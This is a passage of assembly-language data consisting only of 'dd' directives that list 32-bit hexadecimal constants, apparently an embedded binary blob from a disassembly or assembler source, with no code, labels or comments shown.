		dd 4700F5B1h, 5EAD83D4h, 310312Bh, 0D01150ABh, 0A0F54466h
		dd 56096290h, 10A482AFh, 8F59A4h, 0A68B6507h, 4B7B477Ch
		dd 32451C0Fh, 4E94B46Bh, 0A0E50840h, 75C7ECE7h,	0E2424F4Fh
		dd 3222C0h, 0C91C8A2Bh,	31E0F1F4h, 0CF4D5609h, 0FA8C00CAh
		dd 0B53593FDh, 3D0248C4h, 0F794418Bh, 0BA0F185h, 0B8101D6Ch
		dd 0D500A983h, 0F0281CFDh, 64018260h, 8C9411D3h, 8C0010ACh
		dd 846FB083h, 916F0C5h,	0AE8160CAh, 1D970CF4h, 510F2CE2h
		dd 703A82EAh, 0F140885Ch, 0A75E22h, 0BD42D608h,	18979456h
		dd 0EA153F04h, 6897A0A6h, 0E640CBE4h, 0DCDF0183h, 69EE3812h
		dd 0DE47FC02h, 4A10C477h, 827040E8h, 0B446DA74h, 5D29D512h
		dd 0DC3888h, 1AA492ABh,	5B639D85h, 4603F100h, 0A069714Ah
		dd 58E760C8h, 0CDC1F76Dh, 1C509097h, 592B0061h,	0ECB2442h
		dd 0C0098985h, 0BADD844h, 8D0D88Fh, 1CE8D9C4h, 60C01D9Dh
		dd 9AC672D7h, 0E9F80934h, 5CF873DDh, 931B9206h,	0E0C1E8DAh
		dd 9F60FB3h, 0B8D4F9A3h, 77ED84C0h, 5E0074B5h, 1FD24D5Ch
		dd 0FE63D97Ch, 20315E9Fh, 43CF7184h, 4800207Ah,	1B1F4A73h
		dd 4EA0907h, 9D8B94BFh,	4B5CF8CFh, 93F8A808h, 551C91FCh
		dd 5CE8C4D6h, 0BA720301h, 30A4C76Fh, 0D92460h, 5B798FB8h
		dd 4C466B5Dh, 7F5C1C16h, 0FFCF14B8h, 0E0D0A3A9h, 2CFE6228h
		dd 5EC65100h, 0BC3EE270h, 25790792h, 507AED27h,	8880D29Bh
		dd 7C533112h, 2003B8D2h, 566CEE72h, 0C0E8BB58h,	7A44EDA0h
		dd 478B02D0h, 9542375Bh, 942948F3h, 4E3CD480h, 11E7FCFh
		dd 828D5687h, 0C8C17ADEh, 3908638Bh, 80CF0E35h,	0BED2C979h
		dd 0E6125637h, 0EB1877F2h, 12CC2C11h, 0ACC1864Ah, 8C84ECCh
		dd 50F26Bh, 0F5AF2862h,	0CEE17BBEh, 8E970300h, 60133C06h
		dd 17D24073h, 0E61658A5h, 0C43CC8h, 52A3F682h, 0FE94131Dh
		dd 0B0E2CA28h, 8978103Bh, 0C44B9D45h, 70441DFCh, 931DC4B2h
		dd 48CECDEh, 6D202E4Ah,	0A00950ECh, 407AEAC1h, 1DFC7500h
		dd 3BB83856h, 0EE190010h, 35C944A6h, 6B16A195h,	897601Bh
		dd 0A53810F0h, 0FBF70065h, 0FA1D1E1Ah, 86001741h, 0BF6FA850h
		dd 48166ABEh, 840C991Bh, 0D8D8F012h, 31EDB006h,	0A0E9E250h
		dd 9EE8AF3Ch, 3D5C60E4h, 0F45C82DEh, 88BC967Ch,	0C0783787h
		dd 206EEE1Fh, 0F9C8981Fh, 8E05F680h, 13BD1B62h,	57FB82F7h
		dd 3CF4A2B0h, 733E8723h, 24444876h, 974B38C0h, 0F0BF00D5h
		dd 0A58C59B2h, 9158B117h, 0CB8871ECh, 4010B7D9h, 0F91CFF4Dh
		dd 2C808CE0h, 6917D11Eh, 0B147171Dh, 15840C39h,	9D5BC7D9h
		dd 0D7D110C2h, 8AF60881h, 0E4E9A5EEh, 30A00C4h,	8C1E4F08h
		dd 0A800BE1Bh, 15E30F22h, 3B819BE9h, 1994B336h,	3818A46Eh
		dd 0B0CF38CEh, 3D70D964h, 885FF045h, 0BB00F2F0h, 81BD226h
		dd 0A8ED5h, 3FC7CB2Bh, 5084DC51h, 0EAD0CC64h, 17F888h
		dd 4635A978h, 8440C1FBh, 810075E4h, 0B0C6B7D4h,	4EC7F66Dh
		dd 1ACB604h, 701B0CE9h,	35F1D8FCh, 0F6D4CC3Ah, 0EC803B5Fh
		dd 9530B6h, 0E17D8C6h, 6B84F5DFh, 6CCCD0A8h, 0D783E005h
		dd 0C0C058CBh, 3E4129Dh, 57347E13h, 50F94E0Eh, 0FB93E8D4h
		dd 0DBE26000h, 5567A603h, 8C7A78h, 7028EEF3h, 9FFE3C5Fh
		dd 0CF2A1C13h, 3087D80Bh, 60D461F4h, 51FFF8CBh,	8415F616h
		dd 22C8D91Fh, 342900D5h, 0EFC7D1D4h, 420046B5h,	90038C8Bh
		dd 5A04D64Dh, 432C04A8h, 8CF745FEh, 62B028BEh, 2DD55D00h
		dd 0FEF2EF5Bh, 0B7200C3h, 613464C1h, 0E648C69Eh, 0ABDAC02Ch
		dd 0C07F0Eh, 0EDFD0993h, 661B46CBh, 0A825E34Bh,	516DF009h
		dd 0A4AD0708h, 6AFF701Ch, 63B0802Bh, 4E32B901h,	0E20A6D43h
		dd 0B708D0h, 1F6A472Eh,	7553951h, 66D68B14h, 0CC205FD0h
		dd 38DB8304h, 8C8B4BECh, 345091DCh, 26D42334h, 1DC1D401h
		dd 233B28D7h, 2A0D65Ch,	213FFFC7h, 80BF399Bh, 9CDA9EB8h
		dd 0A89217h, 37633B95h,	0C77A1405h, 0C3A1BB00h,	8251B82Dh
		dd 300A09A9h, 40D804E0h, 3F80F49Eh, 0A81A801Eh,	85A609B3h
		dd 6044DB92h, 0DFC89600h, 0F6BAA45Fh, 7D49E8BCh, 24901Dh
		dd 6AD4EE56h, 20598F6Eh, 2BF0FC02h, 82576FDDh, 80DF8308h
		dd 763EC714h, 3C34A8A0h, 94474C60h, 4125CA87h, 0FA299002h
		dd 866C2E7Dh, 14168FC7h
		dd 83707A66h, 687912h, 0E7987807h, 30165014h, 1492A652h
		dd 104E20F4h, 3F0743CDh, 44A9F01Ch, 0D98F4D30h,	0E6950359h
		dd 68CB8BCCh, 2205B6D1h, 0F5411038h, 0AF1CAD84h, 29AFDC74h
		dd 64207EC4h, 0A010E5h,	0C204663Ah, 687D2A0Fh, 13734B01h
		dd 2B150121h, 0E7D0C22Ah, 0E1C0B8F4h, 5B7533h, 7EC260DAh
		dd 0C08B4440h, 0F62F6404h, 23AF6987h, 8CBDC55Ch, 0F0E223F0h
		dd 0EEFB5100h, 39373E70h, 90410394h, 0D76186C0h, 4425D825h
		dd 15700C0h, 245E6DAAh,	9BEC9AF9h, 9F904600h, 7B35B968h
		dd 43F62DF7h, 2C4004D9h, 0D28598h, 4099A6FEh, 0FC8CA71Bh
		dd 0CC9F2F02h, 0D54B6614h, 5AAA7000h, 0EF299B07h, 2A9E90DAh
		dd 3D0D7244h, 0D9D8D680h, 0C5200099h, 0B313804Ch, 0CC0985B6h
		dd 649D30A9h, 8342F8h, 816BDB1Bh, 0B11A68E6h, 0E7909E0h
		dd 6503EC52h, 9E7CA2A3h, 12AFA4ABh, 4642064Ch, 502258CEh
		dd 886C4AD0h, 91005548h, 50DB3110h, 0B2047Fh, 0ADE3C272h
		dd 6636BEA6h, 2ECA9005h, 0C8445263h, 7F49F03Fh,	0E0030D9h
		dd 1F76E865h, 0C893484Bh, 0BC5AA004h, 8668B02Ch, 85DCA605h
		dd 0DCE4E6A9h, 54B8BFBFh, 0D80F2064h, 40B8D2E6h, 59ABFF57h
		dd 0E88F53CAh, 88CC683Bh, 3205E522h, 0FC81B370h, 0E689F481h
		dd 0AC368515h, 551CC2F8h, 2DD059FBh, 0F5FF8424h, 9CF5302Ch
		dd 74F23E50h, 44F6BF00h, 5E355D9h, 167F785Fh, 0C8B0FAFCh
		dd 0CF72A1C8h, 0C287700h, 0BA55CE20h, 0F76A50E1h, 12A07541h
		dd 35CDD4E8h, 757C3010h, 74001936h, 0B8944981h,	49AD1CF0h
		dd 0CC82060h, 21835B9Fh, 0CF131057h, 0BED0C6E7h, 3DD0F307h
		dd 68128169h, 830C2018h, 5503D1ECh, 583824FDh, 1CA2A4F5h
		dd 0CAA540h, 0D4CFFBF0h, 8566A99Dh, 9CC3603h, 184D8A6h
		dd 0DB0E4558h, 306326B2h, 5B901CCCh, 27E48754h,	48D49897h
		dd 0F8490995h, 9C240367h, 0C0854E37h, 0FE5055ECh, 7CF30E6Fh
		dd 780003DFh, 0C0051404h, 0E6407504h, 14B4658Bh, 0C8774FDDh
		dd 0C498A048h, 29742095h, 0C3A7F4h, 5D99767Bh, 5E903D19h
		dd 0FA169EEEh, 0AC88C677h, 5A0442E2h, 0BFAE834h, 7C01688Ch
		dd 0E0B9428Bh, 511865AEh, 848039D2h, 0D0178902h, 0C4F501Ch
		dd 202FA0C2h, 0C7DE4718h, 0F848C30Ch, 25E69F3h,	0FAB9128Ah
		dd 907FA831h, 3CF87974h, 660C6910h, 1C808FDBh, 0F044649Fh
		dd 0CBE1C4h, 9C2F9E31h,	0A9137823h, 7B768B02h, 625F803Ah
		dd 0F260D892h, 5E057245h, 5DCE353h, 5688F5A4h, 0CF1893C0h
		dd 0C94B003Ah, 0A139EDC6h, 0BD9942h, 876B5ACCh,	0B464B5D0h
		dd 4D8E6000h, 0DE1A96ACh, 31094481h, 0FCC8AB4Fh, 0EB8B0033h
		dd 1C5D3269h, 50B9CD5Ah, 481D44BAh, 2E8FBC42h, 88E03B2Bh
		dd 1027B922h, 0C058423Fh, 94F8D8B0h, 0D0512760h, 789D7040h
		dd 0BB6B00C4h, 37D2C687h, 0C8B509CEh, 0B722AD38h, 0FF442864h
		dd 0ABBE002Fh, 4FB2CFAEh, 8A0967ADh, 78A04675h,	0EC4D5340h
		dd 1C7F2C03h, 2FA82E1Bh, 6600AF8Bh, 67E71079h, 4BE66975h
		dd 7A9030C4h, 820055B8h, 0F119A7Fh, 0B51B74h, 974E8E72h
		dd 61703EE8h, 0F53CB601h, 40A703EDh, 281C7BECh,	4470CA41h
		dd 0AF051009h, 292AF1F5h, 70FE4B2h, 52A14D79h, 0FCE5CAA5h
		dd 581723D9h, 9CEC2E74h, 8FE0215Eh, 0BD43D8B4h,	0FB002C7Ch
		dd 0A77E8AD8h, 0B98CDFFh, 0ECC13F55h, 70C5AC6Ah, 0C1142803h
		dd 2598C0B4h, 0A6F30562h, 1CEAF887h, 0D6C28078h, 5BF1C7F0h
		dd 4F1D7E0Eh, 0BB830256h, 8C98F7A2h, 0A600ECC4h, 4FE8CA60h
		dd 0E8846370h, 415003Eh, 0EE718A9Dh, 99027207h,	0B1D83255h
		dd 31688185h, 9C2A7C66h, 6E0005D4h, 1E8F47C4h, 974CDC89h
		dd 0D02D6CECh, 6B70522Bh, 6032B136h, 0FF890D5h,	0E82500E7h
		dd 893517Fh, 0F702B544h, 8E2DD3EAh, 0C37040DAh,	40A606h
		dd 63BB7C2Fh, 8EBF016Ah, 6531D912h, 123F0CF2h, 35195F80h
		dd 0D7E6A066h, 8428E8BCh, 11CD1E21h, 0F4E62E03h, 808EC809h
		dd 0EFCF7C40h, 1B68004Ch, 789ECEB3h, 0B9733802h, 0C475D00h
		dd 169530B2h, 11C931D8h, 0E021DC18h, 9BE4779Ah,	935BAB00h
		dd 1C2429EEh, 0D9DA1394h, 8F30B8BFh, 0FD36A00Fh, 4AB621h
		dd 0F72D2585h, 0DFB04B46h, 409C6000h, 0BE308FB3h, 0AC5F1893h
		dd 0EAC90E72h, 5DC3800h, 0A1AE5B2Dh, 34A7810h, 93297FCBh
		dd 0F88B66DAh, 0C513CE2h, 4CB37C04h, 0CD0BA780h, 0D8C539AFh
		dd 0CCC9D89h, 0E21364D2h, 0FB13DE45h, 0FDF2CF4h, 467C08E1h
		dd 44D48489h, 105CDE7Ah, 66AF8901h, 70292DB8h, 57E490E8h
		dd 0E67BB817h, 2F257CECh, 14007CF1h, 0F17F2516h, 0CD48001Fh
		dd 7D6DBB5Ch, 4E013FC0h, 0F6EB9CF2h, 5F2A9758h,	90C2E10h
		dd 38A04282h, 0A5D98F60h, 0C4EE4A25h, 146B0044h, 97452A6h
		dd 0DC00D681h, 3E3DD233h, 2EB149B8h, 17AC31F7h,	4D7470FAh
		dd 56000B91h, 0A4D66532h, 73128D62h, 20D4B8B1h,	0DD11F83Bh
		dd 31172F4Eh, 4C80C852h, 1B170084h, 9B84F5E2h, 0B09D05EEh
		dd 0B76251CCh, 11531C10h, 4000B1FCh, 8F9391F3h,	4CCADE0h
		dd 48CB1FDDh, 0F830FA7Fh, 430199Fh, 0FB56D603h,	0B420BB7Ah
		dd 0C3BDC1h, 0F4F72842h, 758E733Fh, 7A939501h, 0B6F303C9h
		dd 38B497E8h, 0C80E3C6h, 14DA0459h, 3F007AEDh, 0A480311Bh
		dd 0ED15A6ABh, 8CD44Ch,	0D8D97A9Fh, 0E920398Eh,	55A53Dh
		dd 3C17E6D3h, 0B0671C79h, 0E7B324C4h, 27301EB4h, 80437CE4h
		dd 7F035021h, 819E1281h, 0D87E2F4Ah, 0C3016030h, 0EE68D9D4h
		dd 222EFA71h, 0E911E3FCh, 0B2E03106h, 0A84F2FB0h, 840550F0h
		dd 1C7ED41Dh, 0C370583Eh, 0C12F7AF0h, 24249F60h, 4AE4171Ch
		dd 0C5BCBCF8h, 0AFC581F0h, 0E71A3804h, 7A6D4640h, 592EC9C6h
		dd 0F0EB5852h, 3A051F44h, 0E9FD01D4h, 309D3339h, 0DB429C54h
		dd 483EFF4Ch, 0A4F24Fh,	2B6E3407h, 0FCE70Bh, 622C70EBh
		dd 64EC0501h, 10635127h, 0B7A7DD8h, 0A13794Dh, 7400F451h
		dd 3A088754h, 0B1753B52h, 0C8B5BA00h, 95D53ED7h, 4B678007h
		dd 0C9F448FAh, 4BE6095h, 420432F4h, 7F2D15F9h, 0E819AC11h
		dd 400094BEh, 86D4333Ch, 0BC5AF78Bh, 0E86E65E8h, 6D471318h
		dd 6000B0B2h, 4D58E15Ah, 23EC9759h, 0A8001D7Bh,	15084562h
		dd 2DE48F2h, 0CBE66114h, 0F0203360h, 3E0797Eh, 0ACF82437h
		dd 9B084E9h, 0FE5838C1h, 0A30B1D2Ch, 0F33B983Dh, 5B87B79h
		dd 1FDC7A0Ah, 0A2FCC2DDh, 4C835520h, 305B0CEEh,	0DDB9B153h
		dd 8574F5Eh, 0C08DFC22h, 164CE4Bh, 0D6C5FF28h, 0D82AD059h
		dd 0A99D5CE1h, 904C7348h, 98495B83h, 95EC41EDh,	0B320DA02h
		dd 1A174BAh, 9E79AC65h,	28C977FDh, 64E58888h, 0F2F4857h
		dd 149480F7h, 0A62750h,	84C78D96h, 63897853h, 0AE583405h
		dd 4405DF82h, 5005576Fh, 0CCB81A89h, 0E03C6C51h, 96227980h
		dd 0F4010746h, 0C48B3EE5h, 1C40C06Fh, 0AAD8FC85h, 0B6C7C48h
		dd 0FE2E4Bh, 4A359EE1h,	3A92FFCCh, 0DC220A5Bh, 0E5BC8000h
		dd 0A03485FCh, 191B0088h, 38E697E7h, 9F3DCEAFh,	0F3CB07C6h
		dd 14717527h, 55F81A81h, 477A048Ah, 0E4AEF77Fh,	7007311Ch
		dd 34F2F058h, 0BC896364h, 1F167860h, 21A0713h, 0C8F06718h
		dd 51083461h, 29626CACh, 7E2F0060h, 0CD87BEEBh,	8FF2000Ch
		dd 0EEE3096Ah, 32095FBDh, 6DE1B63h, 7879D930h, 744A5C44h
		dd 5A05F4C0h, 0F84C1B62h, 0C04C16F0h, 6C1728E6h, 8C190917h
		dd 3F6BFE00h, 185920ADh
		dd 899E2508h, 4EF004F8h, 2D608CC8h, 30E19236h, 38C0CEB1h
		dd 4F89020Bh, 23BA4054h, 7688E0BCh, 0A6B82DC6h,	18664300h
		dd 8EA6C405h, 62B3FA2Ch, 0E8CD4864h, 17228124h,	48A0B0D0h
		dd 0C84277F4h, 5146909h, 34D41C29h, 0A8B2FC63h,	7D767Ch
		dd 8C0F804h, 354C8C2Fh,	5FA17E58h, 7A40AC5Fh, 0F14BDB9Dh
		dd 0B2510028h, 0D3ABBB14h, 89C77A2h, 8E051A50h,	2A8C5E13h
		dd 24FF9CF0h, 64B88F6Fh, 0B9D32DFh, 40025404h, 0A68BA818h
		dd 0F9E1770h, 856C2304h, 704FDBD1h, 609F90F4h, 5D81900h
		dd 8415D0C5h, 680AAA13h, 3741B406h, 99BAF905h, 0A7A1100Bh
		dd 0CA6BCF9h, 60F22D92h, 42C13D7h, 8064247Bh, 638669Ah
		dd 0CE50D100h, 0E1203B7Ah, 4F249E67h, 9A2412C0h, 0E20219D8h
		dd 774DA9ABh, 22ACC47Ah, 524FCD26h, 73D990C8h, 0F2584B80h
		dd 54B10B40h, 1B9900C9h, 393059A9h, 0B1DEF08Dh,	1FDC22C0h
		dd 796DEEA1h, 90C00050h, 0C4D61C03h, 76108600h,	0AACAC6B1h
		dd 0BB820E50h, 5AC4DD57h, 8812EA30h, 519888h, 41B28FF0h
		dd 0B64AC4D1h, 44D06895h, 11D7D05h, 3D1CD7AAh, 2B3584E4h
		dd 83E0A803h, 8217F0C8h, 0D65706B1h, 18903AF4h,	0EA8BDC01h
		dd 53583963h, 2ED5020h,	672D147Fh, 327588F7h, 834400C4h
		dd 3AFDF093h, 8A061B0Dh, 11F20B82h, 60DA6809h, 0F6C890FEh
		dd 275A7695h, 0C5941EDh, 0A86A8081h, 0E6FC3998h, 89A15042h
		dd 4BB11EB3h, 0B86BCB62h, 0D88B2C90h, 12F99200h, 1730A6D0h
		dd 0F5E50518h, 0A6CCED82h, 989B0060h, 0BB05A672h, 3E22007Fh
		dd 34ACA4D4h, 2DB8FAC2h, 4286F516h, 6FCF6840h, 0E09C3h
		dd 0B8333B6h, 3050F6DAh, 825BB806h, 2811D893h, 0A14AB70h
		dd 7B3D4718h, 0D7F502F8h, 408C9A77h, 59069850h,	12B95C9h
		dd 5F088038h, 4F54847h,	3DCEC8Eh, 0CD44B4C4h, 0BD2BA6E8h
		dd 34EEDF0Fh, 0FFE220EFh, 2C5EA66h, 6D7B465Dh, 887EA830h
		dd 0FB7A6C82h, 0ECD93Bh, 600947BCh, 3601BD87h, 3883393h
		dd 470B441h, 2E609022h,	9011C9h, 0F849E495h, 2A2F9048h
		dd 12284575h, 15DC4591h, 9C60A83Fh, 0C20CEC0h, 5DD8AA4Ch
		dd 0F158D061h, 636B8E0Bh, 0E600D0F1h, 0D13A491Eh, 0F7AB01C0h
		dd 777E4618h, 106360h, 981576CDh, 12DDD57Ch, 0FC5D2E38h
		dd 0B9AB8028h, 0E6F1451h, 37EC7818h, 0BDDB0Eh, 5A6449F8h
		dd 45175FA0h, 0E0D9633Ah, 64DE1C21h, 0DBF94C74h, 8C096D00h
		dd 7271AEA7h, 0B48E5F2Ch, 0F9844ADh, 2F8237A2h,	0AAD43D41h
		dd 17530E7h, 45D8F600h,	0F2978050h, 0F6554AC0h,	0E8CB2280h
		dd 50570006h, 5A5DEE78h, 9D136C4Ch, 40C2349Bh, 6EB0A9E7h
		dd 0A8F65CB4h, 9EAAEC07h, 68898B56h, 0D098C08Bh, 0D75FF0A0h
		dd 243320E0h, 2C34B38Bh, 0DB936220h, 50A450FCh,	26195860h
		dd 0E3E10EEBh, 88196C13h, 88F21C3Ch, 2000932Fh,	0BF9628BCh
		dd 899E57h, 66F76A7h, 0F34539F7h, 5958351Eh, 24E4D012h
		dd 1EB4A607h, 2C562FF0h, 0C76D0514h, 0EF80077h,	0D7DFA066h
		dd 0EDE6EB19h, 466DB30h, 449D0222h, 247BE0h, 0A976668h
		dd 0A9A74EA1h, 950FEE00h, 8C793098h, 253B0010h,	24D9EFECh
		dd 20F16DD0h, 19C112E0h, 1BD6F6CBh, 40B0DEF2h, 0B9243A13h
		dd 0D8E227EEh, 0DD70AB00h, 7D97CD98h, 37C016Dh,	4660292Ch
		dd 0D1982092h, 85F64C0Ch, 24449913h, 8FCB842h, 0A103D831h
		dd 88EFD5CAh, 48E65EAAh, 17055601h, 0EF1D13C1h,	0F1249420h
		dd 9F6502D7h, 81CA55F2h, 0B988187Dh, 30521766h,	97CCE69h
		dd 0E8F94BFEh, 376608h,	2241F6Ah, 0E7E8B8E6h, 0C3BECA00h
		dd 0C886DBD6h, 576F0053h, 3AC79E9Ch, 7D25A728h,	286432h
		dd 0C4B1302h, 44A4CF6Ch, 0EC03411Ch, 6D743B80h,	0C30C6E3h
		dd 418EB88h, 1300CE08h,	0C7D4EA4Eh, 0D23A31E1h,	0C8C486B8h
		dd 230BD894h, 2945ED7h,	625564DBh, 59EC84C0h, 79919800h
		dd 167CC012h, 23E046Eh,	80E12B30h, 0D62EA164h, 66319716h
		dd 864AB831h, 87AA3E5h,	0B280D660h, 0BA7F53EDh,	4878F84Eh
		dd 7524ECD2h, 0E7341DA1h, 13564C90h, 455DD612h,	69A378A8h
		dd 6B330891h, 5125821h,	0DF80503Dh, 1A8F56Ah, 0CB17F300h
		dd 8654B0F4h, 663008C3h, 4F88051Ah, 0AB4508h, 0F590CB60h
		dd 0F84F6EF6h, 0E060C082h, 0AB540h, 0B6A0826Fh,	320BBF75h
		dd 0F13EC703h, 0EC47422h, 9F30E020h, 9CC80F81h,	8BE41h
		dd 2EDBD3D5h, 373B05Bh,	0DF491A3Bh, 21060CBBh, 0B846E0EAh
		dd 0EB150039h, 88A3968Eh, 143CF38Fh, 0D9D400F0h, 0D716E14Fh
		dd 7E9D02F5h, 0FE2E8893h, 5ECFC80h, 2D138AF8h, 8E0FB5D2h
		dd 0F90AE348h, 4DC097ACh, 1998D92h, 0F566D638h,	0BEB547E0h
		dd 593A0071h, 168B8CBAh, 0EDA37949h, 60A9886h, 337729ACh
		dd 610B7000h, 5EA85529h, 8E3D0048h, 17EAD087h, 253B350Eh
		dd 0E33A1D6Dh, 4D376FC5h, 8F8E0805h, 3F9D1406h,	233600F9h
		dd 45A84320h, 7400B14Bh, 0C9CAD896h, 1730AE4h, 931168BCh
		dd 81E682A3h, 0D9DC6688h, 6480EB09h, 398BAF1Fh,	0AC0DDA9Bh
		dd 0B9E42314h, 1652FF0h, 17C2503Ah, 0F0569DA0h,	13011EE3h
		dd 48CB3E1Fh, 89B20D7Ah, 6E00C738h, 0BB4E22h, 13D2B0C5h
		dd 0EAADC410h, 3512B90Eh, 0ED0C211Ah, 3180E222h, 991EC850h
		dd 0EC03BA05h, 638AE448h, 0E52683E1h, 8BB5B041h, 0D740E3C3h
		dd 67DCF4E7h, 80BA8046h, 0FFBDE41Ah, 36BBB60Ch,	0EA3142h
		dd 91784989h, 0FD17954Ah, 8A819E00h, 34BABCCAh,	26AC001Bh
		dd 898E9825h, 10F3C7Fh,	246504h, 449CE6A9h, 0E328C0EFh
		dd 662D53F9h, 50F6F14h,	95E200C4h, 73D52979h, 0C82853B4h
		dd 0D3758A04h, 9EC78022h, 0DA00DE2Bh, 0B2E6E7D5h, 5EE7F59h
		dd 231E56A8h, 0F38040DDh, 0F7734FEDh, 0DB5EFB00h, 3224A366h
		dd 0C0800D2h, 15218FFEh, 0FD00048Bh, 0D0E3D6A5h, 57FB5Eh
		dd 91E91318h, 53DC44ADh, 4AFDBB09h, 6B030007h, 0F5C50Dh
		dd 0B4ADD33Bh, 0BC91B74Dh, 7F19A8A8h, 5DE4AF00h, 0A3074433h
		dd 91E0678Bh, 5821D906h, 0E82973A5h, 2A00437Dh,	0C527A18Ah
		dd 3BC4216Ah, 0A394E93Eh, 618648Fh, 0EC9539BAh,	0B9B7CC07h
		dd 9D7D02Dh, 8E700740h,	0C3C27EA5h, 9182E031h, 193564B8h
		dd 0B1FBE402h, 84DEB9A2h, 4CB4710h, 8F5FEA00h, 47AE5B87h
		dd 0DF5C7100h, 0E00BBBB3h, 0C0D3243h, 0DE203F31h, 14D248h
		dd 0A2223417h, 4BBCFFCFh, 0A51B7600h, 0EEA63F6Ah, 13EA38B8h
		dd 0C05A4D80h, 0E071EF28h, 81CC4530h, 0A1E7B8A2h, 3436324Ch
		dd 0E87D62Eh, 845566C0h, 9D00BB22h, 88513B3Ah, 7E8E589Eh
		dd 0E6930F0Eh, 18BE75EBh, 1FBB29B3h, 0A6B10B6Eh, 78187FBCh
		dd 68B70310h, 461EBBB4h, 6B39210Ah, 341D1CB2h, 0AF5A0022h
		dd 0E30E9C88h, 0F400C093h, 1184829Dh, 1F8C4939h, 0C2980FCCh
		dd 0BD8E10DEh, 0EA8DB220h, 16A7279h, 16144DEEh,	2317A264h
		dd 843B0050h, 0C98CED5Bh, 0EF38076Eh, 4027A944h, 0DB899664h
		dd 0B537032Eh, 2ED23001h, 0A181C854h, 0E4C586C9h, 0E630201Eh
		dd 0F8AF88h, 918EA012h,	0F7AE44DBh, 0ED5DE500h,	11408087h
		dd 2634006Dh, 0F397308Fh, 1FF4A067h, 424C4098h,	35DA00D0h
		dd 46F6F184h, 9C190088h, 0C20D6E74h, 1C008B91h,	5E25345Fh
		dd 4F68FC8h, 390E78EFh,	0BBC4C861h, 0A8403D29h,	1586314h
		dd 45177DB0h, 9050A591h, 0F53F7EDh, 0DB4139B8h,	4CD68440h
		dd 0A3002402h, 347748EFh
		dd 0AFFEE99h, 712214E2h, 2A048108h, 41DEC7A3h, 809E917Ch
		dd 1B796659h, 31802Bh, 7F169F7Bh, 0CABF10AEh, 0E3C20C3h
		dd 3488D4CBh, 6E090DCh,	0BE72C7BCh, 6300886h, 697EB9B9h
		dd 0D93E0010h, 6A772479h, 38002E13h, 0D501D172h, 0C0477F4Eh
		dd 5EF3F6F1h, 7E00C336h, 5B8C5234h, 37FB49DFh, 7051C656h
		dd 88C8BB84h, 210BA505h, 8047C46h, 5898AFF3h, 31AE2C12h
		dd 13CA1279h, 0B7C448C4h, 1CC51B80h, 5C07B26h, 40A9B83Eh
		dd 16B8410Eh, 0ED203D23h, 0B474408Bh, 473BB008h, 0D868AC7Ch
		dd 229CF614h, 24B90FA8h, 0D644675Bh, 9296C0FBh,	0F87E129Eh
		dd 0A2B68302h, 41A152D8h, 8015E560h, 98CE7B94h,	0FF1E0907h
		dd 0DFC387D4h, 4E37B8CBh, 11C064EBh, 0B2274020h, 249864A1h
		dd 0FBFFC17h, 51984C35h, 0B809866Ch, 0FE3FBC1h,	9CB70AAFh
		dd 0A9A2918Ch, 1E61007Ch, 5A33EAB6h, 580934AEh,	80C68E21h
		dd 8C953106h, 39C4634Eh, 0DC987547h, 0DB38D9ABh, 70C6ACE3h
		dd 248E1B01h, 20249E0Bh, 3A950C2Eh, 8139C58Dh, 368A4D05h
		dd 0E00814E7h, 0C61000CBh, 48AFF463h, 0AE906500h, 672344F9h
		dd 0CBE6A170h, 0A10F7AC8h, 9C11AAD4h, 0A2E8503Ah, 7D00D7CBh
		dd 9A5E34CCh, 38BE4883h, 3E97BDF5h, 0B8400240h,	0C5200C3Dh
		dd 5CEC2630h, 341428C4h, 1A80944Eh, 94816FF7h, 1FFCC098h
		dd 1202DDE2h, 0E03171EAh, 8846AEh, 407E608Ch, 0EC2A411Fh
		dd 0BA1830E8h, 0C021B87Dh, 0A1DD007Bh, 0B207E3A0h, 39093D64h
		dd 902310ADh, 5C3202Ch,	0DFA6727Ch, 0BA33815Eh,	1754223Ch
		dd 10084413h, 62398541h, 0BCA440C9h, 4608C2EDh,	21C07B7Fh
		dd 3AC5288Dh, 2ECB1CD6h, 49AF80DAh, 0A8E09790h,	8E39BC13h
		dd 67C0C427h, 17419E85h, 64EAF8h, 9366F1B0h, 1C918137h
		dd 0D3207390h, 0AC641F00h, 0A666FCD9h, 90309137h, 3AF9658Eh
		dd 9D1BB4C0h, 0FE448845h, 0D3FEDFECh, 0EBDCB00Bh, 95EC1871h
		dd 807601A0h, 348705AEh, 296C20B3h, 18CC3553h, 38B9B606h
		dd 0A5A6004Bh, 0BFD7EDEEh, 0D80066F5h, 6706ACDBh, 0CE5D6E9h
		dd 0B9B22FC2h, 5650E861h, 901E0E24h, 8424C113h,	48AD6888h
		dd 401D1F48h, 0BB3A0DF2h, 7F185431h, 0EBC834A7h, 0EC8E4816h
		dd 9CA23280h, 0AF207A6Ah, 17CF7FFEh, 7255CE8h, 105A685Ch
		dd 6A81152Dh, 35149877h, 2238C4E9h, 0DC3B00A7h,	965109EAh
		dd 5E00BFAEh, 4ADE6668h, 0E0364F10h, 198F0FAh, 0C4644D1Fh
		dd 222B8BD9h, 20BB12A8h, 0F0082094h, 152881C6h,	87B106EAh
		dd 2D42BC11h, 90E4490h,	167F1CA7h, 4A155C62h, 24C50F1h
		dd 0D3C6AEC9h, 0E4A08C4Eh, 200D5082h, 7152E526h, 0B999A800h
		dd 650C9233h, 889C988Dh, 8671FAFCh, 0A1B0DA00h,	0C67A10D6h
		dd 0A41558CDh, 0EFA5870Ah, 0C348050h, 0E73839ABh, 29626401h
		dd 0DAB68F1Fh, 4CC031h,	0A19401AAh, 4597310Ch, 0A57E70A0h
		dd 5F664000h, 21794984h, 0CE8A30BFh, 4CF61338h,	90100933h
		dd 0EC81F50Ch, 9008F9B9h, 3B00D8B9h, 567AB694h,	0D54607DCh
		dd 1757E8A8h, 28F46116h, 0EB8EDC37h, 0BB0C08B2h, 48E8BD39h
		dd 0A0075CEAh, 0F6A10B80h, 3300B82Dh, 74E6E569h, 18891358h
		dd 79FB22ECh, 0D1FE6CF5h, 3FC31100h, 6818F03Bh,	53E00033h
		dd 2846F28Ah, 0B1136F5Eh, 5C2037BBh, 0B929B0F0h, 9F508F4h
		dd 60391504h, 4490E8C8h, 8205C2A3h, 66563BC9h, 0B0BF31C1h
		dd 5C55ABD8h, 17F4CF3h,	8FFFAEEAh, 924B693Ah, 0E018BB41h
		dd 94673971h, 94919490h, 0CFB06A87h, 801CC7E0h,	0C4006ECFh
		dd 3ED9115Ah, 9122BAE9h, 30231EFCh, 30D78BF1h, 4E9EFD00h
		dd 52FFB721h, 0E0400CD1h, 9C59AE2Ch, 0F4063CA1h, 0E2009FBDh
